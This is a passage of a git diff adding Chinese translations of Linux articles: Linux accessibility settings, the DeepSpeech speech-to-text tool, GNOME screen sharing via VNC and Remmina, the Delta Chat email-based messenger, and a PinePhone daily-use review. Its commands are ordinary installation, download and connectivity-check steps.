的作品,该公司专门开发自由开源的无障碍应用。他们所有的应用都是以 GPL 2.0 许可证发布的,包括 [iBus-Braille][9]。该发行版包括屏幕阅读器、各种语言的打印阅读、六键输入、打字辅导、放大器、电子书扬声器等等。 + +![accessibility options - desktop][10] + +[Gnome 无障碍套件][11] 是一个开源软件库,是 Gnome 项目的一部分,为实现无障碍功能提供 API。你可以通过访问他们的维基来参与 [Gnome 无障碍团队][12]。KDE 也有一个 [无障碍项目][13] 和一个支持该项目的 [应用][14] 列表。你可以通过访问他们的 [维基][15] 来参与 KDE 无障碍项目。[XFCE][16] 也为用户提供了相关资源。[Fedora 项目维基][17] 也有一个可以安装在操作系统上的无障碍应用的列表。 + +### Linux 适合所有人 + +自 20 世纪 90 年代以来,Linux 已经有了长足的进步,其中一个很大的进步就是对无障碍的支持。很高兴知道随着 Linux 用户的不断变化,操作系统也可以和我们一起变化,并做出许多不同的支持选项。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/linux-accessibility-settings + +作者:[Don Watkins][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) +[2]: https://opensource.com/sites/default/files/accessibility-visualpng.png (accessibility options - visual) +[3]: https://opensource.com/sites/default/files/display.png (accessibility options - display) +[4]: https://opensource.com/sites/default/files/keyboard_0.png (accessibility options - keyboard) +[5]: https://opensource.com/sites/default/files/settings.png (accessibility options - settings) +[6]: https://opensource.com/sites/default/files/desktop.png (accessibility options - desktop) +[7]: https://zendalona.com/accessible-coconut/ +[8]: https://zendalona.com/ +[9]: https://github.com/zendalona/ibus-braille +[10]: https://opensource.com/sites/default/files/desktop2.png (accessibility options - desktop) +[11]: https://en.wikipedia.org/wiki/Accessibility_Toolkit +[12]: https://wiki.gnome.org/Accessibility +[13]: https://community.kde.org/Accessibility#KDE_Accessibility_Project +[14]: https://userbase.kde.org/Applications/Accessibility +[15]: https://community.kde.org/Get_Involved/accessibility +[16]: https://docs.xfce.org/xfce/xfce4-settings/accessibility +[17]: https://fedoraproject.org/wiki/Docs/Beats/Accessibility#Using_Fedora.27s_Accessibility_Tools \ No newline at end of file diff --git a/published/202202/20220125 Use Mozilla DeepSpeech to enable speech to text in your application.md b/published/202202/20220125 Use Mozilla DeepSpeech to enable speech to text in your application.md new file mode 100644 index 0000000000..50cb30e7e2 --- /dev/null +++ b/published/202202/20220125 Use Mozilla DeepSpeech to enable speech to text in your application.md @@ -0,0 +1,125 @@ +[#]: subject: "Use Mozilla DeepSpeech to enable speech to text in your application" +[#]: via: "https://opensource.com/article/22/1/voice-text-mozilla-deepspeech" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14233-1.html" + +使用 DeepSpeech 在你的应用中实现语音转文字 +====== + +> 应用中的语音识别不仅仅是一个有趣的技巧,而且是一个重要的无障碍功能。 + +![](https://img.linux.net.cn/data/attachment/album/202202/01/102117mvnx1o9zxxikz91z.jpg) + +计算机的主要功能之一是解析数据。有些数据比其他数据更容易解析,而语音输入仍然是一项进展中的工作。不过,近年来该领域已经有了许多改进,其中之一就是 DeepSpeech,这是 Mozilla 的一个项目,Mozilla 是维护 Firefox 浏览器的基金会。DeepSpeech 是一个语音到文本的命令和库,使其对需要将语音输入转化为文本的用户和希望为其应用提供语音输入的开发者都很有用。 + +### 安装 DeepSpeech + +DeepSpeech 是开源的,使用 Mozilla 公共许可证(MPL)发布。你可以从其 [GitHub][2] 页面下载源码。 + +要安装,首先为 Python 创建一个虚拟环境: + +``` +$ python3 -m pip install deepspeech --user +``` + +DeepSpeech 依靠的是机器学习。你可以自己训练它,但最简单的是在刚开始时下载预训练的模型文件。 + +``` +$ mkdir DeepSpeech +$ cd Deepspeech +$ curl -LO \ + https://github.com/mozilla/DeepSpeech/releases/download/vX.Y.Z/deepspeech-X.Y.Z-models.pbmm +$ curl -LO \ + https://github.com/mozilla/DeepSpeech/releases/download/vX.Y.Z/deepspeech-X.Y.Z-models.scorer +``` + +### 用户应用 + +通过 DeepSpeech,你可以将语音的录音转录成书面文字。你可以从在最佳条件下干净录制的语音中得到最好的结果。然而,在紧要关头,你可以尝试任何录音,你可能会得到一些你需要手动转录的东西。 + +为了测试,你可以录制一个包含简单短语的音频文件:“This is a test. Hello world, this is a test”。将音频保存为一个 `.wav` 文件,名为 `hello-test.wav`。 + +在你的 DeepSpeech 文件夹中,通过提供模型文件、评分器文件和你的音频启动一个转录: + +``` +$ deepspeech --model deepspeech*pbmm \ + --scorer deepspeech*scorer \ + --audio hello-test.wav +``` + +输出到标准输出(你的终端): + +``` +this is a test hello world this is a test +``` + +你可以通过使用 `--json` 选项获得 JSON 格式的输出: + +``` +$ deepspeech --model deepspeech*pbmm \ + -- json + --scorer deepspeech*scorer \ + --audio hello-test.wav +``` + +这就把每个词和时间戳一起渲染出来: + +``` +{ + "transcripts": [ + { + "confidence": -42.7990608215332, + "words": [ + { + "word": "this", + "start_time": 2.54, + "duration": 0.12 + }, + { + "word": "is", + "start_time": 2.74, + "duration": 0.1 + }, + { + "word": "a", + "start_time": 2.94, + "duration": 0.04 + }, + { + "word": "test", + "start_time": 3.06, + "duration": 0.74 + }, +[...] +``` + +### 开发者 + +DeepSpeech 不仅仅是一个转录预先录制的音频的命令。你也可以用它来实时处理音频流。GitHub 仓库 [DeepSpeech-examples][3] 中有 JavaScript、Python、C# 和用于 Android 的 Java 等各种代码。 + +大部分困难的工作已经完成,所以集成 DeepSpeech 通常只是引用 DeepSpeech 库,并知道如何从主机设备上获得音频(你通常通过 Linux 上的 `/dev` 文件系统或 Android 和其他平台上的 SDK 来完成。) + +### 语音识别 + +作为一个开发者,为你的应用启用语音识别不只是一个有趣的技巧,而是一个重要的无障碍功能,它使你的应用更容易被有行动问题的人、低视力的人和长期多任务处理的人使用。作为用户,DeepSpeech 是一个有用的转录工具,可以将音频文件转换为文本。无论你的使用情况如何,请尝试 DeepSpeech,看看它能为你做什么。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/voice-text-mozilla-deepspeech + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/colorful_sound_wave.png?itok=jlUJG0bM (Colorful sound wave graph) +[2]: https://github.com/mozilla/DeepSpeech +[3]: https://github.com/mozilla/DeepSpeech-examples diff --git a/published/202202/20220128 Sharing the computer screen in Gnome.md b/published/202202/20220128 Sharing the computer screen in Gnome.md new file mode 100644 index 0000000000..d5cf879081 --- /dev/null +++ b/published/202202/20220128 Sharing the computer screen in Gnome.md @@ -0,0 +1,187 @@ +[#]: subject: "Sharing the computer screen in Gnome" +[#]: via: "https://fedoramagazine.org/sharing-the-computer-screen-in-gnome/" +[#]: author: "Lukáš Růžička https://fedoramagazine.org/author/lruzicka/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14261-1.html" + +在 Gnome 中共享电脑屏幕 +====== + +![](https://img.linux.net.cn/data/attachment/album/202202/11/101112soc722i55ut7r6nq.jpg) + +你不希望别人能够监视甚至控制你的电脑,你通常会努力使用各种安全机制来切断任何此类企图。然而,有时会出现这样的情况:你迫切需要一个朋友,或一个专家来帮助你解决电脑问题,但他们并不同时在同一地点。你如何向他们展示呢?你应该拿着你的手机,拍下你的屏幕照片,然后发给他们吗?你应该录制一个视频吗?当然不是。你可以与他们分享你的屏幕,并可能让他们远程控制你的电脑一段时间。在这篇文章中,我将介绍如何在 Gnome 中允许共享电脑屏幕。 + +### 设置服务器以共享屏幕 + +**服务器** 是一台提供(服务)一些内容的计算机,其他计算机(**客户端**)将消费这些内容。在本文中,服务器运行的是 **Fedora Workstation** 和标准的 **Gnome 桌面**。 + +#### 打开 Gnome 屏幕共享 + +默认情况下,Gnome 中共享计算机屏幕的功能是 **关闭** 的。要使用它,你需要把它打开: + +1. 启动 Gnome 控制中心Gnome Control Center。 +2. 点击 共享Sharing 标签。 + ![Sharing switched off][2] +3. 用右上角的滑块打开共享。 +4. 单击 屏幕共享Screen sharing。 + ![Sharing switched on][3] +5. 用窗口左上角的滑块打开屏幕共享。 +6. 如果你希望能够从客户端控制屏幕,请勾选 允许连接控制屏幕Allow connections to control the screen。不勾选这个按钮访问共享屏幕只允许 仅浏览view-only。 +7. 如果你想手动确认所有传入的连接,请选择 新连接必须请求访问New connections must ask for access。 +8. 如果你想允许知道密码的人连接(你不会被通知),选择 需要密码Require a password 并填写密码。密码的长度只能是 8 个字符。 +9. 勾选 显示密码Show password 以查看当前的密码是什么。为了多一点保护,不要在这里使用你的登录密码,而是选择一个不同的密码。 +10. 如果你有多个网络可用,你可以选择在哪个网络上访问该屏幕。 + +### 设置客户端以显示远程屏幕 + +**客户端** 是一台连接到由服务器提供的服务(或内容)的计算机。本演示还将在客户端上运行 **Fedora Workstation**,但如果它运行一个 VNC 客户端,操作系统实际上应该不太重要。 + +#### 检查可见性 + +在 Gnome 中,服务器和客户端之间共享计算机屏幕需要一个有效的网络连接,以及它们之间可见的“路由”。如果你不能建立这样的连接,你将无法查看或控制服务器的共享屏幕,这里描述的整个过程将无法工作。 + +为了确保连接的存在,找出服务器的 IP 地址。 + +启动 Gnome 控制中心Gnome Control Center,又称 设置Settings。使用右上角的**菜单**,或**活动**模式。当在**活动**中时,输入: + +``` +settings +``` + +并点击相应的图标。 + +选择 网络Network 标签。 + +点击**设置按钮**(齿轮)以显示你的网络配置文件的参数。 + +打开 详情Details标签,查看你的计算机的 IP 地址。 + +进入 **你的客户端的** 终端(你想从它连接到别的计算机),使用 `ping` 命令找出客户和服务器之间是否有连接。 + +``` +$ ping -c 5 192.168.122.225 +``` + +检查该命令的输出。如果它与下面的例子相似,说明计算机之间的连接存在。 + +``` +PING 192.168.122.225 (192.168.122.225) 56(84) bytes of data. +64 bytes from 192.168.122.225: icmp_seq=1 ttl=64 time=0.383 ms +64 bytes from 192.168.122.225: icmp_seq=2 ttl=64 time=0.357 ms +64 bytes from 192.168.122.225: icmp_seq=3 ttl=64 time=0.322 ms +64 bytes from 192.168.122.225: icmp_seq=4 ttl=64 time=0.371 ms +64 bytes from 192.168.122.225: icmp_seq=5 ttl=64 time=0.319 ms +--- 192.168.122.225 ping statistics --- +5 packets transmitted, 5 received, 0% packet loss, time 4083ms +rtt min/avg/max/mdev = 0.319/0.350/0.383/0.025 ms +``` + +如果两台计算机存在同一个子网中,例如在你的家里或办公室,你可能不会遇到任何问题,但当你的服务器没有**公共 IP 地址**,无法从外部互联网上看到时,可能会出现问题。除非你是互联网接入点的唯一管理员,否则你可能需要就你的情况向你的管理员或你的 ISP 咨询。请注意,将你的计算机暴露在外部互联网上始终是一个有风险的策略,你**必须充分注意**保护你的计算机免受不必要的访问。 + +#### 安装 VNC 客户端(Remmina) + +Remmina 是一个图形化的远程桌面客户端,你可以使用多种协议连接到远程服务器,如 VNC、Spice 或 RDP。Remmina 可以从 Fedora 仓库中获得,所以你可以用 `dnf` 命令或 软件中心Software 来安装它,以你喜欢的方式为准。使用 `dnf`,下面的命令将安装该软件包和几个依赖项。 + +``` +$ sudo dnf install remmina +``` + +#### 连接到服务器 + +如果服务器和客户端之间有连接,请确保以下情况: + +1. 计算机正在运行。 +2. Gnome 会话正在运行。 +3. 启用了屏幕共享的用户已经登录。 +4. 会话 **没有被锁定**,也就是说,用户可以使用该会话。 + +然后你可以尝试从客户端连接到该会话: + +1. 启动 **Remmina**。 +2. 在地址栏左侧的下拉菜单中选择 **VNC** 协议。 +3. 在地址栏中输入服务器的IP地址,然后按下 **回车**。 + ![Remmina Window][4] +4. 当连接开始时,会打开另一个连接窗口。根据服务器的设置,你可能需要等待,直到服务器用户允许连接,或者你可能需要提供密码。 +5. 输入密码,然后按 **OK**。 +![Remmina Connected to Server][5] +6. 按下 ![Align with resolution button][6] 调整连接窗口的大小,使之与服务器的分辨率一致,或者按 ![Full Screen Button][8] 调整连接窗口的大小,使其覆盖整个桌面。当处于全屏模式时,注意屏幕上边缘的白色窄条。那是 Remmina 菜单,当你需要离开全屏模式或改变一些设置时,你可以把鼠标移到它上面。 + +当你回到服务器时,你会注意到现在在上栏有一个黄色的图标,这表明你正在 Gnome 中共享电脑屏幕。如果你不再希望共享屏幕,你可以进入菜单,点击 屏幕正在被共享Screen is being shared,然后再选择 关闭Turn off,立即停止共享屏幕。 + +![Turn off menu item][9] + +#### 会话锁定时终止屏幕共享 + +默认情况下,当会话锁定时,连接 将总是终止will always terminate。在会话被解锁之前,不能建立新的连接。 + +一方面,这听起来很合理。如果你想和别人分享你的屏幕,你可能不想让他们在你不在的时候使用你的电脑。另一方面,如果你想从远程位置控制你自己的电脑,无论是你在另一个房间的床上,还是你岳母的地方,同样的方法也不是很有用。有两个选项可以处理这个问题。你可以完全禁止锁定屏幕,或者使用支持通过 VNC 连接解锁会话的 Gnome 扩展。 + +##### 禁用屏幕锁定 + +要禁用屏幕锁定: + +1. 打开 Gnome 控制中心Gnome Control Center。 +2. 点击 隐私Privacy标签。 +3. 选择 屏幕锁定Screen Lock 设置。 +4. 关掉 自动屏幕锁定Automatic Screen Lock。 + +现在,会话将永远不会被锁定(除非你手动锁定),所以它能启动一个 VNC 连接到它。 + +##### 使用 Gnome 扩展来允许远程解锁会话 + +如果你不想关闭锁定屏幕的功能,或者你想有一个远程解锁会话的选项,即使它被锁定,你将需要安装一个提供这种功能的扩展,因为这种行为是默认不允许的。 + +要安装该扩展: + +1. 打开**火狐浏览器**,并打开 [Gnome 扩展页面][10]。 + ![Gnome Extensions Page][11] +2. 在页面的上部,找到一个信息块,告诉你为火狐安装 “GNOME Shell integration”。 +3. 点击 点此安装浏览器扩展Click here to install browser extension 来安装 Firefox 扩展。 +4. 安装完毕后,注意到 Firefox 的菜单部分有 Gnome 的标志。 +5. 点击 Gnome 标志,回到扩展页面。 +6. 搜索 “allow locked remote desktop”。 +7. 点击显示的项目,进入该扩展的页面。 +8. 使用右边的**开/关**按钮,将扩展**打开**。 + ![Extension selected][12] + +现在,可以在任何时候启动 VNC 连接。注意,你需要知道会话密码以解锁会话。如果你的 VNC 密码与会话密码不同,你的会话仍然受到 _一点_ 保护。 + +### 总结 + +这篇文章介绍了在 Gnome 中实现共享计算机屏幕的方法。它提到了受限(_仅浏览_)访问和非受限(_完全_)访问之间的区别。然而,对于正式任务的远程访问,例如管理一个生产服务器,这个解决方案无论如何都不算是一个正确的方法。为什么? + + 1. 服务器将始终保持其**控制模式**。任何在服务器会话中的人都将能够控制鼠标和键盘。 + 2. 如果会话被锁定,从客户端解锁也会在服务器上解锁。它也会把显示器从待机模式中唤醒。任何能看到你的服务器屏幕的人都能看到你此刻正在做什么。 + 3. VNC 协议本身没有加密或保护,所以你通过它发送的任何东西都可能被泄露。 + +你几种可以建立一个受保护的 VNC 连接的方法。例如,你可以通过 SSH 协议建立隧道,以提高安全性。然而,这些都超出了本文的范围。 + +**免责声明**:上述工作流程在 Fedora 35 上使用几个虚拟机工作时没有问题。如果它对你不起作用,那么你可能遇到了一个错误。请报告它。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/sharing-the-computer-screen-in-gnome/ + +作者:[Lukáš Růžička][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/lruzicka/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2022/01/sharing_screen-816x345.jpg +[2]: https://fedoramagazine.org/wp-content/uploads/2022/01/settings_sharing_off.png +[3]: https://fedoramagazine.org/wp-content/uploads/2022/01/settings_sharing_on.png +[4]: https://fedoramagazine.org/wp-content/uploads/2022/01/remmina.png +[5]: https://fedoramagazine.org/wp-content/uploads/2022/01/remmina_connected_client.png +[6]: https://fedoramagazine.org/wp-content/uploads/2022/01/resolution.png +[8]: https://fedoramagazine.org/wp-content/uploads/2022/01/full_screen.png +[9]: https://fedoramagazine.org/wp-content/uploads/2022/01/turn_off_connection.png +[10]: https://extensions.gnome.org +[11]: https://fedoramagazine.org/wp-content/uploads/2022/01/extensions.png +[12]: https://fedoramagazine.org/wp-content/uploads/2022/01/switch_on_extension.png diff --git a/published/202202/20220128 Software Privacy Day- Use Delta Chat, an open source chat tool.md b/published/202202/20220128 Software Privacy Day- Use Delta Chat, an open source chat tool.md new file mode 100644 index 0000000000..11d92b4526 --- /dev/null +++ b/published/202202/20220128 Software Privacy Day- Use Delta Chat, an open source chat tool.md @@ -0,0 +1,91 @@ +[#]: subject: "Software Privacy Day: Use Delta Chat, an open source chat tool" +[#]: via: "https://opensource.com/article/22/1/delta-chat-software-privacy-day" +[#]: author: "Alan Smithee https://opensource.com/users/alansmithee" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14265-1.html" + +Delta Chat:一个开源的聊天工具 +====== + +> 最好的聊天应用是一个不属于聊天应用的应用。 + +![](https://img.linux.net.cn/data/attachment/album/202202/12/112502b27g761gws4j7s6z.jpg) + +请考虑一下,当用户的数据被发布到互联网上,或通过互联网发布时,他们的数据究竟去了哪里。古老的聊天应用是互联网通信领域的一个手工行业,似乎在潮流中起起落落。人们使用聊天应用进行各种形式的对话,大多数人不会想到机器人正在记录和监控他们所说的话,无论是为了有效地定位广告还是只是为了建立一个档案供将来使用。这使得聊天应用特别容易受到不良的隐私做法的影响,但幸运的是,现在有几个开源的、注重隐私的应用,如 [Signal][2]、[Rocket.Chat][3] 和 [Mattermost][4]。我运行过 Mattermost 和 Rocket.Chat,我也在使用 Signal,但我最兴奋的应用是 Delta Chat,这个聊天服务非常方便,甚至不使用聊天服务器。相反,Delta Chat 使用的是你已经使用的最大规模和最多样化的开放信息系统:它使用电子邮件,通过聊天应用发送和接收信息,并以 [Autocrypt][5] 的端到端加密为特色。 + +### 安装 Delta Chat + +Delta Chat 使用标准的电子邮件协议作为它的后端,但对于作为普通用户的你和我来说,它的外观和行为完全像一个聊天应用。也就是说你需要安装一个开源的 Delta Chat 应用。 + +在 Linux 上,你可以从 [Flatpak][6] 包或你的软件库中安装 Delta Chat。 + +在 macOS 和 Windows 上,从 [delta.chat/downloads][7] 下载一个安装程序。 + +在安卓系统上,你可以从 Play Store 或开源的 [F-droid 仓库][8] 安装 Delta Chat。 + +在 iOS 系统中,从 App Store 安装 Delta Chat。 + +因为 Delta Chat 使用电子邮件来传递信息,所以如果你不在你的聊天应用中,你也可以在收件箱中收到信息。是的,即使没有安装 Delta Chat,你也可以使用 Delta Chat! + +### 配置 Delta Chat + +当你第一次启动 Delta Chat 时,你必须登录到你的电子邮件账户。这往往是 Delta Chat 最难的部分,因为它要求你了解你的电子邮件服务器的详细信息,或者在你的电子邮件提供商的安全设置中创建一个“应用密码”。 + +如果你使用的是自己的服务器,并且所有配置都是默认的(993 端口用于 IMAP 接收,465 端口用于 SMTP 发出,启用了 SSL/TLS),那么你可以直接输入你的电子邮件地址和密码,然后继续。 + +![Delta Chat login][9] + +如果你运行自己的服务器,但你有自定义设置,那么点击“高级Advanced”按钮,输入你的设置。如果你使用一个不寻常的子域来用作你的邮件服务器,或一个自定义端口,或一个复杂的登录和密码配置,你可能需要这样做。 + +如果你使用的是 Gmail、Fastmail、Yahoo 或类似的电子邮件供应商,那么你必须创建一个应用密码,这样你就可以通过 Delta Chat 而不是网络浏览器登录到你的账户。许多电子邮件供应商限制登录,以避免无休止的机器人和脚本试图用暴力手段进入人们的账户,所以对你的供应商来说,Delta Chat 看起来很像机器人。当你授予 Delta Chat 特殊权限时,你就是在提醒你的电子邮件提供商,从一个远程应用发出大量的短信息是预期的行为。 + +每个电子邮件提供商都有不同的提供应用密码的方式,但 Fastmail(在我看来)是最简单的: + + 1. 进入“设置Settings” + 2. 点击“密码和安全Passwords & Security” + 3. 在“第三方应用Third-party apps”的旁边,点击“添加Add”按钮 + +验证你的密码,并创建一个新的应用密码。使用你创建的应用密码登录 Delta Chat。 + +![Fastmail app password][11] + +### 使用 Delta Chat 聊天 + +当你克服了登录的障碍,剩下的就很容易了。因为 Delta Chat 只使用电子邮件,你可以通过电子邮件地址而不是通过聊天程序的用户名或电话号码来添加朋友。从技术上讲,你可以在 Delta Chat 上添加任何电子邮件地址。毕竟,它只是一个有特定使用场景的电子邮件应用。不过,告诉你的朋友 Delta Chat 是很有礼貌的,而不是期望他们通过他们的电子邮件客户端与你进行随意的聊天。 + +无论你是在手机还是在电脑上运行这个应用,其外观都与你所期望的聊天应用完全一样。你可以发起聊天,发送消息,并通过加密文本与朋友闲聊。 + +![Delta Chat chat list][12] + +### 开始聊天 + +Delta Chat 是去中心化的、完全加密的,并依赖于一个成熟的基础设施。多亏 Delta Chat,你可以选择你和你的联系人之间的服务器,你可以在私下里交流。没有需要安装的复杂的服务器,没有需要维护的硬件。这是一个看似复杂问题的简单解决方案,而且是开源的。我们有充分的理由去尝试它。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/delta-chat-software-privacy-day + +作者:[Alan Smithee][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alansmithee +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/email_chat_communication_message.png?itok=LKjiLnQu (Chat via email) +[2]: https://opensource.com/article/21/9/alternatives-zoom#signal +[3]: https://opensource.com/article/22/1/rocketchat-open-source-communications-platform-puts-data-privacy-first +[4]: https://opensource.com/education/16/3/mattermost-open-source-chat +[5]: https://autocrypt.org/ +[6]: https://opensource.com/article/21/11/install-flatpak-linux +[7]: https://delta.chat/en/download +[8]: https://f-droid.org/app/com.b44t.messenger +[9]: https://opensource.com/sites/default/files/delta-chat-log-in_0.jpg (Delta Chat login) +[10]: https://creativecommons.org/licenses/by-sa/4.0/ +[11]: https://opensource.com/sites/default/files/fastmail-app-password.jpg (Fastmail app password) +[12]: https://opensource.com/sites/default/files/delta-chat-google-play-release-chat-list-light.png (Delta Chat chat list) diff --git a/published/202202/20220130 I Used Linux-Based PinePhone Daily For A Year. Here-s What I Learned.md b/published/202202/20220130 I Used Linux-Based PinePhone Daily For A Year. Here-s What I Learned.md new file mode 100644 index 0000000000..1231a1b681 --- /dev/null +++ b/published/202202/20220130 I Used Linux-Based PinePhone Daily For A Year. Here-s What I Learned.md @@ -0,0 +1,198 @@ +[#]: subject: "I Used Linux-Based PinePhone Daily For A Year. Here’s What I Learned!" +[#]: via: "https://news.itsfoss.com/pinephone-review/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14235-1.html" + +我的一年的 PinePhone 日常使用体验 +====== + +> 它不是每个人的理想选择,但作为一个 Linux 爱好者,我喜欢用它做实验。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/pinephone-review.png?w=1200&ssl=1) + +当 Pine64 在 2019 年发布 PinePhone 时,没有人能够预见它将对移动 Linux、桌面 Linux 和隐私产生巨大的影响。 + +作为 [少数专为运行桌面 Linux 而设计的手机][1] 之一,它具有低端安卓手机的所有功能,同时又具有笔记本电脑的多功能性。不幸的是,桌面 Linux 就是这样:它是为台式机设计的,而不是为手机设计的。 + +幸运的是,由于 GNOME、KDE、Pine64 和众多 Linux 社区的惊人力量,全新的桌面环境、应用程序和发行版应运而生。其中一些比较知名的包括 Plasma Mobile、[Phosh][2]、Megapixels 和Mobian。 + +有了这些所有关键的部分,Pine64 需要做的就是销售 PinePhone,他们确实也卖出了 PinePhone。每一轮社区版(每个都预装了不同的发行版)的预购都收到了数千份订单,其中之一就是我的。 + +自从我在 2020 年 12 月收到我的设备后,PinePhone 一直是我日常生活中的重要组成部分,我在 2021 年全年都把它作为我的日常设备。以下是我使用它的经验。 + +### 它的性能就像糖浆一样 + +PinePhone 采用了全志 a64 系统芯片,它的功率只够完成最基本的手机任务。即使是简单的事情,如打开火狐浏览器,也需要将近 20 秒的时间,这无疑要“归功于”它仅有的 4 个核心。这与现代中高端安卓手机形成鲜明对比,所有这些手机都有至少 2GHz 的 8 核处理器。 + +幸运的是,社区再次介入,对数以千计的小型软件实施了优化。虽然性能仍然不如安卓系统的竞争对手,但这确实意味着 PinePhone 对于大多数手机任务来说是非常适用了,甚至在通过附带的底座使用外部显示器时,也可以使用一些面向桌面的应用程序。 + +即使它在这里和那里可能会有一点卡顿,PinePhone 在大多数情况下都有足够的能力。但是电池呢?它真的能续航一整天吗? + +### 电池续航……没问题 + +![][4] + +虽然我很想说,由于 PinePhone 的低功耗组件,电池续航想必是超棒的。但不幸的是,情况并非如此,即使在实施了所有节电改进措施后也是如此。 + +经过一夜的充电,我通常在早上阅读新闻,然后在午餐时间再读一些。尽管这相当于不到一个小时的屏幕开启时间,但电池仍然持续下降约 35%,使我在下午只剩下 65%。幸运的是,这并不是一个大问题,尤其是调制解调器的深度睡眠功能工作得很好。 + +补充一句,几乎所有的移动电话都会将其调制解调器放入深度睡眠模式,这基本上是关闭一切除了接收电话和短信所需的功能。然后,当你接到一个电话时,调制解调器会唤醒自己和 SoC,然后开始响铃。 + +根据我的经验,PinePhone 上深度睡眠的实施绝对很棒,没有错过任何一个电话。因此,考虑到其糟糕的开屏续航时间,PinePhone 的关屏续航相当惊人。我在最少使用的情况下,电池寿命一直能保持在 60 小时以上,这是我的 Galaxy S20 FE 无法比拟的。 + +### 不要期望有什么漂亮的照片 + +PinePhone 仅有的 500 万像素后置摄像头和更小的 200 万像素前置摄像头,不要指望能拍出专业级别的照片。甚至许多 USB 网络摄像头也能提供更好的图像质量,以及更多的常规功能。见鬼,PinePhone 的摄像头甚至不能够拍摄视频! + +它所做的少量后期处理确实有助于提升一点照片质量,尽管还不足以让它们适合发到社交媒体上。作为比较,这里是用 iPhone 4S(2011 年)和 PinePhone(2019 年)拍摄的同一张照片。 + +![iPhone 4S](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/iphone-4s-vs-pinephone-camera.jpg?w=780&ssl=1) + +![PinePhone](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/pinephone-vs-iphone-4s-camera-scaled.jpg?w=780&ssl=1) + +在古老的 SoC、普普通通的电池续航和可怜的相机之间,很明显 PinePhone 的硬件绝对不是它的强项。但软件能拯救它吗? + +### 桌面环境还是移动环境? + +在这个移动 Linux 的世界里,主要有三种桌面环境领域,它们是: + + * Plasma Mobile + * Phosh + * [Lomiri][5] + +在我日常使用 PinePhone 的过程中,我大约花了 4 个月的时间使用每个环境。在这段时间里,我发现它们的功能、问题和成熟度各有不同,我会在这里讨论这些问题。 + +#### Plasma Mobile + +![图片来源:KDE Plasma Mobile][6] + +早在 2015 年 Plasma 5 发布之后,Plasma Mobile 已经默默地在后台开发了近 7 年。从最初的发布到 PinePhone 的发布,Plasma Mobile 背后的团队成功地创造了一个相当可用的移动桌面环境。 + +然而,随着 PinePhone 的发布,这一切都改变了。困扰 Plasma Mobile 的许多错误已经被解决了,而且也在改进用户界面方面付出了巨大的努力。 + +作为一个 KDE 项目,Plasma Mobile 广泛使用了 Kirigami,这导致了一个极其一致和移动友好的应用生态系统。此外,许多先前就有的 KDE 应用程序也能完美地扩展到该平台。 + +由于 Maui 项目刚刚发布了他们的 Maui Shell,这个应用生态系统得到了进一步的扩展(更多信息即将发布)。由于他们强大的实用程序套件,Plasma Mobile 是一个真正的安卓替代品。 + +然而,这并不是说 Plasma Mobile 是完美的。即使到了 2022 年,仍有一些残余的错误和问题。然而,这被其成熟的应用生态系统、对手势的广泛使用和对移动体验的专注所抵消。 + +#### Phosh + +![PinePhone 上的 Phosh 截屏][7] + +Phosh 主要由 Purism 开发,是相当于 Plasma Mobile 的 GTK。它最初是为 Librem 5 打造的,自 2018 年以来一直在开发。由于只有 4 年的历史,你可能会认为 Phosh 是不成熟的,但这与事实相差甚远。 + +事实上,在超过 3 个月的时间里,我从未遇到过 Phosh 的崩溃,相比之下,Plasma Mobile 没几天崩溃一次。当然,由于建立在 GTK 和其他 Gnome 技术之上,Phosh 有许多可用的应用程序。一些流行的应用程序可以完美地工作,包括: + + * Firefox + * Geary + * Headlines(Reddit 应用程序) + * Megapixels(相机应用) + * Gnome 地图 + +此外,许多为 Plasma Mobile 设计的应用程序也能完美运行,尽管它们使用 Kirigami。不幸的是,虽然有许多 GTK 应用程序,但它们并不像 Kirigami 应用程序一样适合各种环境,所以开发者必须专门使他们的应用程序与 Phosh 和 PinePhone 兼容。 + +此外,GTK 主要是一个面向桌面的 UI 